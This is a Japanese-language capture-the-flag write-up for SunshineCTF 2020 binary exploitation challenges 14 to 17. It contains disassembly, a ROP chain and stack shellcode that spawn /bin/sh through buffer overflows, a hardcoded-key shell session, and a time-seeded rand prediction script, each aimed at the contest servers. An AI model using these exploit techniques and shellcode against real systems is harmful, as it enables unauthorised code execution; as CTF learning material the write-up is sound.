gdb-peda$ disas main Dump of assembler code for function main: 0x0000000000400b5d <+0>: push rbp 0x0000000000400b5e <+1>: mov rbp,rsp 0x0000000000400b61 <+4>: sub rsp,0x60 0x0000000000400b65 <+8>: lea rdi,[rip+0x9195c] # 0x4924c8 0x0000000000400b6c <+15>: call 0x410890 <puts> 0x0000000000400b71 <+20>: mov rdx,QWORD PTR [rip+0x2b8c30] # 0x6b97a8 <stdin> 0x0000000000400b78 <+27>: lea rax,[rbp-0x20] 0x0000000000400b7c <+31>: mov esi,0x14 0x0000000000400b81 <+36>: mov rdi,rax 0x0000000000400b84 <+39>: call 0x40ffd0 <fgets> 0x0000000000400b89 <+44>: lea rax,[rbp-0x60] 0x0000000000400b8d <+48>: mov rdi,rax 0x0000000000400b90 <+51>: mov eax,0x0 0x0000000000400b95 <+56>: call 0x4106e0 <gets> 0x0000000000400b9a <+61>: nop 0x0000000000400b9b <+62>: leave 0x0000000000400b9c <+63>: ret End of assembler dump.
main
のgets
でBOFが起きる.
$ file ./chall_14 ./chall_14: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=2936c7ad85f602a3701fef5df2a870452f6d3499, not stripped
静的リンク.
ROPgadgetでROPChainを組む. リターンアドレスをROPChainに書き換える.
$ ROPgadget --binary ./chall_14 --ropchain
from pwn import * from struct import pack # r=process('./chall_14') r=remote('chal.2020.sunshinectf.org',30014) e=ELF('./chall_14') # $ ROPgadget --binary ./chall_14 --ropchain # Padding goes here p = b'A'*104 p += pack('<Q', 0x0000000000410263) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004158f4) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000410263) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000400696) # pop rdi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x0000000000410263) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000449b15) # pop rdx ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x000000000040120c) # syscall r.sendline() r.sendline(p) r.interactive()
flag: sun{hail-to-the-king-c24f18e818fb4986}
15 (46 Pts)
長いので一部だけ.
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x000000000000071a <+0>: push rbp 0x000000000000071b <+1>: mov rbp,rsp 0x000000000000071e <+4>: sub rsp,0x50 0x0000000000000722 <+8>: lea rax,[rbp-0x46] 0x0000000000000726 <+12>: mov rsi,rax 0x0000000000000729 <+15>: lea rdi,[rip+0x158] # 0x888 0x0000000000000730 <+22>: mov eax,0x0 0x0000000000000735 <+27>: call 0x5d0 <printf@plt> 0x000000000000079c <+130>: lea rax,[rbp-0x46] 0x00000000000007a0 <+134>: mov esi,0x5a 0x00000000000007a5 <+139>: mov rdi,rax 0x00000000000007a8 <+142>: call 0x5e0 <fgets@plt> 0x00000000000007ad <+147>: cmp DWORD PTR [rbp-0x3c],0xfacade 0x00000000000007b4 <+154>: je 0x7c9 <vuln+175> 0x00000000000007b6 <+156>: cmp DWORD PTR [rbp-0x4],0xfacade 0x00000000000007bd <+163>: je 0x7c9 <vuln+175> 0x00000000000007bf <+165>: mov edi,0x0 0x00000000000007c4 <+170>: call 0x5f0 <exit@plt> 0x00000000000007c9 <+175>: nop 0x00000000000007ca <+176>: leave 0x00000000000007cb <+177>: ret End of assembler dump.
2回目の入力の前にアドレスrbp-0x46
が表示される.
vuln
のfgets
は入力をrbp-0x46
からの領域に格納するが, 0x5a
文字書き込めるためBOFが起きる. また, rbp-0x3c
かrbp-0x4
の値が0xfacade
でないとexit
が実行され終了してしまう.
0xa(=0x46-0x3c)
文字後に0xfacade
とシェルコードを置く. リターンアドレスを, 表示されるアドレス+0x12(=0xa+0x8)
に書き換えるとリターン時にシェルコードが実行される.
from pwn import * # p=process('./chall_15') p=remote('chal.2020.sunshinectf.org',30015) e=ELF('./chall_15') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.sendline() p.recvuntil(': ') buf=int(p.recv(14)[2:],16)+18 payload=b'A'*10 payload+=p64(0xfacade) payload+=shellcode payload+=b'A'*(0x46+0x8-len(payload)) payload+=p64(buf) p.sendline(payload) p.interactive()
flag: sun{bat-country-53036e8a423559df}
16 (44 Pts)
長いのでGhidraでデコンパイル
void main(void) { size_t sVar1; size_t sVar2; long in_FS_OFFSET; int local_60; char local_58 [56]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); fgets(local_58,0x31,stdin); sVar1 = strlen(local_58); sVar2 = strlen(key); if (sVar1 == sVar2) { local_60 = 0; while( true ) { sVar1 = strlen(key); if (sVar1 <= (ulong)(long)local_60) break; if (local_58[local_60] != key[local_60]) { /* WARNING: Subroutine does notreturn */ exit(0); } local_60 = local_60 + 1; } system("/bin/sh"); } if (local_20 != *(long *)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does notreturn */ __stack_chk_fail(); } return; }
key
であるQueue epic guitar solo *syn starts shredding*
を入力するとシェルが起動する.
$ nc chal.2020.sunshinectf.org 30016 Queue epic guitar solo *syn starts shredding* ls chall_16 flag.txt cat flag.txt sun{beast-and-the-harlot-73058b6d2812c771} exit
flag: sun{beast-and-the-harlot-73058b6d2812c771}
17 (46 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000000009b9 <+0>: push rbp 0x00000000000009ba <+1>: mov rbp,rsp 0x00000000000009bd <+4>: sub rsp,0x10 0x00000000000009c1 <+8>: mov rax,QWORD PTR fs:0x28 0x00000000000009ca <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000000009ce <+21>: xor eax,eax 0x00000000000009d0 <+23>: mov edi,0x0 0x00000000000009d5 <+28>: call 0x7f0 <time@plt> 0x00000000000009da <+33>: mov edi,eax 0x00000000000009dc <+35>: call 0x7e0 <srand@plt> 0x00000000000009e1 <+40>: call 0x830 <rand@plt> 0x00000000000009e6 <+45>: mov DWORD PTR [rbp-0xc],eax 0x00000000000009e9 <+48>: lea rax,[rbp-0x10] 0x00000000000009ed <+52>: mov rsi,rax 0x00000000000009f0 <+55>: lea rdi,[rip+0xf3] # 0xaea 0x00000000000009f7 <+62>: mov eax,0x0 0x00000000000009fc <+67>: call 0x810 <__isoc99_scanf@plt> 0x0000000000000a01 <+72>: mov eax,DWORD PTR [rbp-0x10] 0x0000000000000a04 <+75>: cmp DWORD PTR [rbp-0xc],eax 0x0000000000000a07 <+78>: jne 0xa10 <main+87> 0x0000000000000a09 <+80>: call 0x95a <win> 0x0000000000000a0e <+85>: jmp 0xa29 <main+112> 0x0000000000000a10 <+87>: mov eax,DWORD PTR [rbp-0x10] 0x0000000000000a13 <+90>: mov edx,DWORD PTR [rbp-0xc] 0x0000000000000a16 <+93>: mov esi,eax 0x0000000000000a18 <+95>: lea rdi,[rip+0xce] # 0xaed 0x0000000000000a1f <+102>: mov eax,0x0 0x0000000000000a24 <+107>: call 0x7c0 <printf@plt> 0x0000000000000a29 <+112>: nop 0x0000000000000a2a <+113>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000000a2e <+117>: xor rax,QWORD PTR fs:0x28 0x0000000000000a37 <+126>: je 0xa3e <main+133> 0x0000000000000a39 <+128>: call 0x7b0 <__stack_chk_fail@plt> 0x0000000000000a3e <+133>: leave 0x0000000000000a3f <+134>: ret End of assembler dump.
入力した数字がrand
で生成されたランダムな整数と一致するとwin
が実行されフラグが表示される. 一致しない場合は, 生成された整数が表示される.
srand
に同じ引数を与えるとrand
は同じ値を返す. ここではsrand
の引数にはtime
で取得した現在時刻が与えられる.
スクリプトで処理することで同じ値を生成させる. 1回目で生成された整数を取得し, 2回目でその整数を入力する.
from pwn import * # p=process('./chall_17') p=remote('chal.2020.sunshinectf.org',30017) p.sendline(str(0)) num=p.recv().split(b'\n')[1][len("Expected: "):] print(num) # p.kill() # p=process('./chall_17') p=remote('chal.2020.sunshinectf.org',30017) p.sendline(num) print(p.recv())
flag: sun{unholy-confessions-b74c1ed1f1d486fe}